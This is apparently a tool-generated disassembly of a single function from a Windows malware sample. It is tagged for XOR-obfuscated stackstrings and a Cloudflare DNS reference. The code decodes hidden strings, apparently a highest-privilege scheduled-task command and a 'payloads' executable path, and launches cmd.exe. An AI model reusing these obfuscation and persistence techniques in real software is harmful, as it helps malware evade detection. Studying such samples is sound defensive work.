Function at 0x140008320
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Reference cloudflare dns server

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
xor ebx, ebx
mov dword [rbp + 0x5f0], ebx
cmp dword [0x14001eaf8], ebx
je 0x1400096f4
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], rbx
mov qword [rbp + 0x110], 0xf
lea ecx, [rbx + 0x20]
call fcn.140011ffc
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x108], 0x18
mov qword [rbp + 0x110], 0x1f
movups xmm0, xmmword [str.dns.ms_api_microsoft.com]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140017de0]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], 7
mov qword [rbp + 0x150], 0xf
mov rax, qword [str.1.1.1.1]
mov dword [rbp + 0x138], eax
movzx eax, word [0x140017dcc]
mov word [rbp + 0x13c], ax
movzx eax, byte [0x140017dce]
mov byte [rbp + 0x13e], al
mov byte [rbp + 0x13f], bl
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x198]
call fcn.14000d7a0
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140008417
mov rcx, qword [rax]
mov r8, qword [rax + 0x10]
cmp r8, 7
jne 0x140008436
lea rdx, [rbp + 0x138]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140008436
xor r12b, r12b
jmp 0x140008439
mov r12b, 1
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x14000847d
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008478
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008478
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x1a8], xmm0
mov byte [rbp + 0x198], 0
mov qword [rbp + 0x148], rbx
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x1400084f1
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400084ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
mov qword [rbp + 0x108], rbx
mov qword [rbp + 0x110], 0xf
mov byte [rbp + 0xf8], 0
mov dword [rbp - 0x1c], 0x46
mov byte [rbp - 0x18], 0x1d
mov byte [rbp - 0x17], 0x6b
mov byte [rbp - 0x16], 0x1b
mov byte [rbp - 0x15], 0x66
mov byte [rbp - 0x14], 0x32
mov byte [rbp - 0x13], 0x34
mov byte [rbp - 0x12], 0x3f
mov byte [rbp - 0x11], 0x66
mov byte [rbp - 0x10], 0x2a
mov byte [rbp - 0xf], 0x29
mov byte [rbp - 0xe], 0x27
mov byte [rbp - 0xd], 0x22
mov byte [rbp - 0xc], 0x2f
mov byte [rbp - 0xb], 0x28
mov byte [rbp - 0xa], 0x21
mov byte [rbp - 9], 0x66
mov byte [rbp - 8], 0x31
mov byte [rbp - 7], 0x23
mov byte [rbp - 6], 0x21
mov byte [rbp - 5], 0x27
mov byte [rbp - 4], 0x2b
mov byte [rbp - 3], 0x23
mov byte [rbp - 2], 0x19
mov byte [rbp - 1], 0x35
mov byte [rbp], 0x23
mov byte [rbp + 1], 0x34
mov byte [rbp + 2], 0x30
mov byte [rbp + 3], 0x2f
mov byte [rbp + 4], 0x25
mov byte [rbp + 5], 0x23
mov byte [rbp + 6], 0x68
mov byte [rbp + 7], 0x23
mov byte [rbp + 8], 0x3e
mov byte [rbp + 9], 0x23
xor eax, eax
mov byte [rbp + 0xa], al
movzx eax, byte [rbp - 0x18]
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x18]
mov ecx, dword [rbp - 0x1c]
xor cl, al
mov byte [rbp + rdx - 0x18], cl
inc rdx
cmp rdx, 0x22
jb 0x1400085b0
mov byte [rbp + 0xa], 0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x2b8]
call fcn.1400036c0
mov rcx, rax
call fcn.14000ccc0
mov dword [rbp + 0x60], 0x6b
mov byte [rbp + 0x64], 0x28
mov byte [rbp + 0x65], 0x51
mov byte [rbp + 0x66], 0x37
mov byte [rbp + 0x67], 0x3b
mov byte [rbp + 0x68], 0x19
mov byte [rbp + 0x69], 4
mov byte [rbp + 0x6a], 0xc
mov byte [rbp + 0x6b], 0x19
mov byte [rbp + 0x6c], 0xa
mov byte [rbp + 0x6d], 6
mov byte [rbp + 0x6e], 0x4b
mov byte [rbp + 0x6f], 0x2d
mov byte [rbp + 0x70], 2
mov byte [rbp + 0x71], 7
mov byte [rbp + 0x72], 0xe
mov byte [rbp + 0x73], 0x18
mov byte [rbp + 0x74], 0x4b
mov byte [rbp + 0x75], 0x43
mov byte [rbp + 0x76], 0x13
mov byte [rbp + 0x77], 0x53
mov byte [rbp + 0x78], 0x5d
mov byte [rbp + 0x79], 0x42
mov byte [rbp + 0x7a], 0x37
mov byte [rbp + 0x7b], 0x3c
mov byte [rbp + 0x7c], 0xe
mov byte [rbp + 0x7d], 0xc
mov byte [rbp + 0x7e], 0xa
mov byte [rbp + 0x7f], 6
mov byte [rbp + 0x80], 0xe
mov byte [rbp + 0x81], 0x37
mov byte [rbp + 0x82], 0x1c
mov byte [rbp + 0x83], 0xe
mov byte [rbp + 0x84], 0xc
mov byte [rbp + 0x85], 0xa
mov byte [rbp + 0x86], 6
mov byte [rbp + 0x87], 0xe
mov byte [rbp + 0x88], 0x34
mov byte [rbp + 0x89], 0x18
mov byte [rbp + 0x8a], 0xe
mov byte [rbp + 0x8b], 0x19
mov byte [rbp + 0x8c], 0x1d
mov byte [rbp + 0x8d], 2
mov byte [rbp + 0x8e], 8
mov byte [rbp + 0x8f], 0xe
mov byte [rbp + 0x90], 0x45
mov byte [rbp + 0x91], 0xe
mov byte [rbp + 0x92], 0x13
mov byte [rbp + 0x93], 0xe
xor eax, eax
mov byte [rbp + 0x94], al
movzx eax, byte [rbp + 0x64]
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rdx + 0x64]
mov ecx, dword [rbp + 0x60]
xor cl, al
mov byte [rbp + rdx + 0x64], cl
inc rdx
cmp rdx, 0x30
jb 0x140008700
mov byte [rbp + 0x94], 0
lea rdx, [rbp + 0x64]
lea rcx, [rbp + 0x98]
call fcn.1400036c0
nop
mov byte [rsp + 0x48], 0x81
mov byte [rsp + 0x49], WSAStartup
mov byte [rsp + 0x4a], WSAStartup
mov byte [rsp + 0x4b], 0x6b
mov byte [rsp + 0x4c], 0x77
mov byte [rsp + 0x4d], WSAStartup
mov byte [rsp + 0x4e], 0x69
mov byte [rsp + 0x4f], 0x7d
mov byte [rsp + 0x50], WSAStartup
mov byte [rsp + 0x51], 0x7c
mov byte [rsp + 0x52], 0x80
mov byte [rsp + 0x53], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x54], 0x6d
mov byte [rsp + 0x55], WSAStartup
mov byte [rsp + 0x56], 0x38
mov byte [rsp + 0x57], WSAStartup
mov byte [rsp + 0x58], 0x82
mov byte [rsp + 0x59], WSAStartup
mov byte [rsp + 0x5a], 0
movzx eax, byte [rsp + 0x48]
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x48]
sub al, 0xa
mov byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x12
jb 0x1400087a0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x298]
call fcn.1400036c0
nop
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x218]
call fcn.14000dd60
mov r15, rax
lea rcx, [rbp + 0x1f8]
call fcn.14000d9c0
nop
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.14000d1b0
mov r8, rax
mov byte [rbp - 0x4d], 0x35
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x26
mov byte [rbp - 0x4a], 0x59
mov byte [rbp - 0x49], 0x49
mov byte [rbp - 0x48], 0x4e
mov byte [rbp - 0x47], 0x5a
mov byte [rbp - 0x46], 0x47
mov byte [rbp - 0x45], 0x59
mov byte [rbp - 0x44], 0x51
mov byte [rbp - 0x43], 0x59
mov byte [rbp - 0x42], 0x26
mov byte [rbp - 0x41], 0x35
mov byte [rbp - 0x40], 0x49
mov byte [rbp - 0x3f], 0x78
mov byte [rbp - 0x3e], 0x6b
mov byte [rbp - 0x3d], 0x67
mov byte [rbp - 0x3c], 0x7a
mov byte [rbp - 0x3b], 0x6b
mov byte [rbp - 0x3a], 0x26
mov byte [rbp - 0x39], 0x35
mov byte [rbp - 0x38], 0x4c
mov byte [rbp - 0x37], 0x26
mov byte [rbp - 0x36], 0x35
mov byte [rbp - 0x35], 0x5a
mov byte [rbp - 0x34], 0x54
mov byte [rbp - 0x33], 0x26
mov byte [rbp - 0x32], 0x28
mov byte [rbp - 0x31], 0x62
mov byte [rbp - 0x30], 0x56
mov byte [rbp - 0x2f], 0x67
mov byte [rbp - 0x2e], 0x7f
mov byte [rbp - 0x2d], WSAStartup
mov byte [rbp - 0x2c], 0x75
mov byte [rbp - 0x2b], 0x67
mov byte [rbp - 0x2a], 0x6a
mov byte [rbp - 0x29], 0x5a
mov byte [rbp - 0x28], 0x67
mov byte [rbp - 0x27], 0x79
mov byte [rbp - 0x26], WSAStartup
mov byte [rbp - 0x25], 0x28
mov byte [rbp - 0x24], 0x26
mov byte [rbp - 0x23], 0x35
mov byte [rbp - 0x22], 0x58
mov byte [rbp - 0x21], 0x5b
mov byte [rbp - 0x20], 0x26
mov byte [rbp - 0x1f], 0
movzx eax, byte [rbp - 0x4d]
mov rcx, rbx
nop
movzx eax, byte [rbp + rcx - 0x4d]
sub al, 6
mov byte [rbp + rcx - 0x4d], al
inc rcx
cmp rcx, 0x2e
jb 0x1400088c0
lea rdx, [rbp - 0x4d]
lea rcx, [rbp + 0x1b8]
call fcn.140004b50
mov rdi, rax
mov rsi, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, rsi
cmp rax, 0x26
jb 0x14000892d
lea rax, [rsi + 0x26]
mov qword [rdi + 0x10], rax
mov r14, rdi
cmp rcx, 0xf
jbe 0x14000890f
mov r14, qword [rdi]
lea rcx, [r14 + rsi]
mov r8d, 0x26
lea rdx, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rsi + 0x26], 0
jmp 0x14000894d
mov qword [rsp + 0x20], 0x26
lea r9, str._RL_HIGHEST__SC_ONCE__ST_00:00__TR___
mov edx, 0x26
mov rcx, rdi
call fcn.140003360
mov rdi, rax
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov r9, r15
lea r8, [rbp + 0x158]
lea rcx, [rbp + 0x178]
call fcn.140009720
mov dword [rbp + 0x5f0], 6
mov dword [rbp + 0xc], 0x65
mov byte [rbp + 0x10], 0x39
mov byte [rbp + 0x11], 0x47
mov byte [rbp + 0x12], 0x47
mov byte [rbp + 0x13], 0x45
mov byte [rbp + 0x14], 0x43
mov byte [rbp + 0x15], 0x45
mov byte [rbp + 0x16], 0x36
mov byte [rbp + 0x17], 0x26
mov byte [rbp + 0x18], 0x2d
mov byte [rbp + 0x19], 0x31
mov byte [rbp + 0x1a], 0x24
mov byte [rbp + 0x1b], 0x36
mov byte [rbp + 0x1c], 0x2e
mov byte [rbp + 0x1d], 0x36
mov byte [rbp + 0x1e], 0x45
mov byte [rbp + 0x1f], 0x4a
mov byte [rbp + 0x20], 0x37
mov byte [rbp + 0x21], 0x10
mov byte [rbp + 0x22], 0xb
mov byte [rbp + 0x23], 0x45
mov byte [rbp + 0x24], 0x4a
mov byte [rbp + 0x25], 0x31
mov byte [rbp + 0x26], 0x2b
mov byte [rbp + 0x27], 0x45
mov byte [rbp + 0x28], 0x47
mov byte [rbp + 0x29], 0x39
mov byte [rbp + 0x2a], 0x35
mov byte [rbp + 0x2b], 4
mov byte [rbp + 0x2c], 0x1c
mov byte [rbp + 0x2d], 9
mov byte [rbp + 0x2e], 0xa
mov byte [rbp + 0x2f], 4
mov byte [rbp + 0x30], 1
mov byte [rbp + 0x31], 0x31
mov byte [rbp + 0x32], 4
mov byte [rbp + 0x33], 0x16
mov byte [rbp + 0x34], 0xe
mov byte [rbp + 0x35], 0x47
mov byte [rbp + 0x36], 0x45
mov byte [rbp + 0x37], 0x43
mov byte [rbp + 0x38], 0x45
mov byte [rbp + 0x39], 0x16
mov byte [rbp + 0x3a], 6
mov byte [rbp + 0x3b], 0xd
mov byte [rbp + 0x3c], 0x11
mov byte [rbp + 0x3d], 4
mov byte [rbp + 0x3e], 0x16
mov byte [rbp + 0x3f], 0xe
mov byte [rbp + 0x40], 0x16
mov byte [rbp + 0x41], 0x45
mov byte [rbp + 0x42], 0x4a
mov byte [rbp + 0x43], 0x21
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x45], 9
mov byte [rbp + 0x46], 0
mov byte [rbp + 0x47], 0x11
mov byte [rbp + 0x48], 0
mov byte [rbp + 0x49], 0x45
mov byte [rbp + 0x4a], 0x4a
mov byte [rbp + 0x4b], 0x31
mov byte [rbp + 0x4c], 0x2b
mov byte [rbp + 0x4d], 0x45
mov byte [rbp + 0x4e], 0x47
mov byte [rbp + 0x4f], 0x39
mov byte [rbp + 0x50], 0x35
mov byte [rbp + 0x51], 4
mov byte [rbp + 0x52], 0x1c
mov byte [rbp + 0x53], 9
mov byte [rbp + 0x54], 0xa
mov byte [rbp + 0x55], 4
mov byte [rbp + 0x56], 1
mov byte [rbp + 0x57], 0x31
mov byte [rbp + 0x58], 4
mov byte [rbp + 0x59], 0x16
mov byte [rbp + 0x5a], 0xe
mov byte [rbp + 0x5b], 0x47
mov byte [rbp + 0x5c], 0x45
mov byte [rbp + 0x5d], 0x4a
mov byte [rbp + 0x5e], 0x23
xor eax, eax
mov byte [rbp + 0x5f], al
movzx eax, byte [rbp + 0x10]
mov rdx, rbx
movzx eax, byte [rbp + rdx + 0x10]
mov ecx, dword [rbp + 0xc]
xor cl, al
mov byte [rbp + rdx + 0x10], cl
inc rdx
cmp rdx, 0x4f
jb 0x140008ae0
mov byte [rbp + 0x5f], 0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x178]
call fcn.140003160
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x140008b88
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x188], xmm0
mov byte [rbp + 0x178], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x140008be3
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008bde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008bde
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x168], xmm0
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0xf
jbe 0x140008c3e
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0xf
jbe 0x140008c99
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x1d8], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 7
jbe 0x140008cf9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cf4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fa0]
movdqu xmmword [rbp + 0x208], xmm0
mov word [rbp + 0x1f8], bx
mov rdx, qword [rbp + 0x230]
cmp rdx, 0xf
jbe 0x140008d54
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012038
movdqa xmm0, xmmword [0x140018fb0]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x238]
call fcn.14000d080
nop
mov dword [rbp + 0x5f0], 0xf
cmp qword [rax + 0x18], 7
jbe 0x140008d93
mov rax, qword [rax]
lea rdx, [rbp + 0x360]
mov rcx, rax
call qword [0x14001edf0]
cmp rax, 0xffffffffffffffff
jne 0x140008e0f
mov rcx, rax
call qword [0x14001ee58]
xor dil, dil
mov dword [rbp + 0x5f0], 0xe
mov rdx, qword [rbp + 0x250]
cmp rdx, 7
jbe 0x140008f4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call qword [0x14001ee58]
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rbx
mov qword [rbp + 0x130], rbx
lea r14, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova r14, qword [rbp + 0x98]
mov rsi, qword [rbp + 0xa8]
movabs rdi, 0x7fffffffffffffff
cmp rsi, rdi
ja 0x140009710
mov qword [rbp + 0x130], 0xf
cmp rsi, 0xf
ja 0x140008e89
mov qword [rbp + 0x128], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x118], xmm0
jmp 0x140008f26
mov rax, rsi
or rax, 0xf
cmp rax, rdi
jbe 0x140008ec1
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140011ffc
mov rcx, rax
test rax, rax
je 0x140008eec
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008f02
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140008ef3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009716
jmp 0x140008ea3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140008eff
call fcn.140011ffc
jmp 0x140008f02
mov rax, rbx
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x118]
call fcn.14000d630
comisd xmm0, xmmword [0x140018f88]
jbe 0x140008db2
mov dil, 1
jmp 0x140008db5
call fcn.140012038
movdqa xmm0, xmmword [0x140018fa0]
movdqu xmmword [rbp + 0x248], xmm0
mov word [rbp + 0x238], bx
test dil, dil
je 0x140009084
lea r9, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova r9, qword [rbp + 0xb8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
lea rdx, [0x140017d50]
xor ecx, ecx
call qword [0x14001eea0]
mov byte [rbp - 0x7b], 0x60
mov byte [rbp - 0x7a], 0x32
mov byte [rbp - 0x79], 0x62
mov byte [rbp - 0x78], 0x25
mov byte [rbp - 0x77], WSAStartup
mov byte [rbp - 0x76], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x75], 0x66
mov byte [rbp - 0x74], 0x69
mov byte [rbp - 0x73], 0x6a
mov byte [rbp - 0x72], 0x69
mov byte [rbp - 0x71], 0x25
mov byte [rbp - 0x70], 0x7c
mov byte [rbp - 0x6f], 0x6a
mov byte [rbp - 0x6e], 0x6c
mov byte [rbp - 0x6d], 0x66
mov byte [rbp - 0x6c], WSAStartup
mov byte [rbp - 0x6b], 0x6a
mov byte [rbp - 0x6a], 0x64
mov byte [rbp - 0x69], 0x78
mov byte [rbp - 0x68], 0x6a
mov byte [rbp - 0x67], 0x77
mov byte [rbp - 0x66], 0x7b
mov byte [rbp - 0x65], 0x6e
mov byte [rbp - 0x64], 0x68
mov byte [rbp - 0x63], 0x6a
mov byte [rbp - 0x62], 0x33
mov byte [rbp - 0x61], 0x6a
mov byte [rbp - 0x60], 0x7d
mov byte [rbp - 0x5f], 0x6a
mov byte [rbp - 0x5e], 0x25
mov byte [rbp - 0x5d], 0x6b
mov byte [rbp - 0x5c], 0x77
mov byte [rbp - 0x5b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x5a], WSAStartup
mov byte [rbp - 0x59], 0x25
mov byte [rbp - 0x58], WSAStartup
mov byte [rbp - 0x57], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x56], 0x68
mov byte [rbp - 0x55], 0x66
mov byte [rbp - 0x54], WSAStartup
mov byte [rbp - 0x53], 0x25
mov byte [rbp - 0x52], 0x69
mov byte [rbp - 0x51], 0x6e
mov byte [rbp - 0x50], 0x78
mov byte [rbp - 0x4f], WSAStartup
mov byte [rbp - 0x4e], 0
movzx eax, byte [rbp - 0x7b]
nop
movzx eax, byte [rbp + rbx - 0x7b]
sub al, 5
mov byte [rbp + rbx - 0x7b], al
inc rbx
cmp rbx, 0x2d
jb 0x140009060
lea rdx, [rbp - 0x7b]
lea rcx, [rbp + 0x2d8]
jmp 0x140009600
test r12b, r12b
je 0x140009099
mov ecx, 0x493e0
call qword [0x14001ef50]
jmp 0x14000960e
lea rax, [rbp + 0x2f8]
mov qword [rbp + 0x600], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe8], xmm1
mov r8, qword [rbp + 0xa8]
lea rcx, [rbp + 0xd8]
call fcn.14000ebd0
mov dword [rbp + 0x5f0], 0x1e
lea r9, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 7
cmova r9, qword [rbp + 0xd8]
lea r10, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova r10, qword [rbp + 0x98]
add r10, qword [rbp + 0xa8]
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rdx, qword [rbp + 0x98]
mov r11, rbx
mov rcx, r10
sub rcx, rdx
cmp rdx, r10
cmova rcx, rbx
test rcx, rcx
je 0x1400091c0
cmp rcx, 0x20
jb 0x1400091c0
lea r8, [r9 - 2]
lea r8, [r8 + rcx*2]
lea rax, [rdx - 1]
add rax, rcx
cmp r9, rax
ja 0x14000915d
cmp r8, rdx
jae 0x1400091c0
and rcx, 0xffffffffffffffe0
movq xmm0, qword [rdx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9], xmm0
movq xmm0, qword [rdx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x10], xmm0
movq xmm0, qword [rdx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x20], xmm0
movq xmm0, qword [rdx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x30], xmm0
add r9, 0x40
add rdx, 0x20
add r11, 0x20
cmp r11, rcx
jne 0x140009161
cmp rdx, r10
je 0x1400091e3
nop word [rax + rax]
movsx eax, byte [rdx]
mov word [r9], ax
lea r9, [r9 + 2]
inc rdx
cmp rdx, r10
jne 0x1400091d0
mov dword [rsp + 0x30], 0x37
mov eax, dword [rsp + 0x30]
xor al, 0x70
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x61
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x79
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x6c
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x30]
add al, 4
xor al, 0x6f
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x30]
add al, 5
xor al, 0x61
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x30]
add al, 6
xor al, 0x64
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x30]
add al, 7
xor al, 0x73
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x30]
add al, 8
xor al, 0x2f
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x30]
add al, 9
xor al, 0x6c
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x30]
add al, 0xa
xor al, 0x62
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x30]
add al, 0xb
xor al, 0x31
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x30]
add al, 0xc
xor al, 0x2e
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x30]
add al, 0xd
xor al, 0x65
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x30]
add al, 0xe
xor al, 0x78
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x30]
add al, 0xf
xor al, 0x65
mov byte [rsp + 0x43], al
xor eax, eax
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x34]
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x34], cl
inc rdx
cmp rdx, 0x10
jb 0x1400092c0
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x2f8]
call fcn.1400036c0
mov rdi, rax
mov byte [rbp + 0x5f8], 0x80
mov byte [rbp + 0x5f9], 0x6a
mov byte [rbp + 0x5fa], 0x7b
mov byte [rbp + 0x5fb], WSAStartup
mov byte [rbp + 0x5fc], WSAStartup
mov byte [rbp + 0x5fd], 0x77
mov byte [rbp + 0x5fe], 0
movzx ecx, byte [rbp + 0x5f8]
mov rcx, rbx
nop
movzx eax, byte [rbp + rcx + 0x5f8]
sub al, 9
mov byte [rbp + rcx + 0x5f8], al
inc rcx
cmp rcx, 6
jb 0x140009330
lea rdx, [rbp + 0x5f8]
lea rcx, [rbp + 0x318]
call fcn.1400036c0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x278]
call fcn.14000afd0
nop
mov rdx, rax
lea rcx, [rbp + 0x258]
call fcn.14000d080
nop
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 7
cmova rdx, qword [rbp + 0xd8]
cmp qword [rax + 0x18], 7
jbe 0x1400093a2
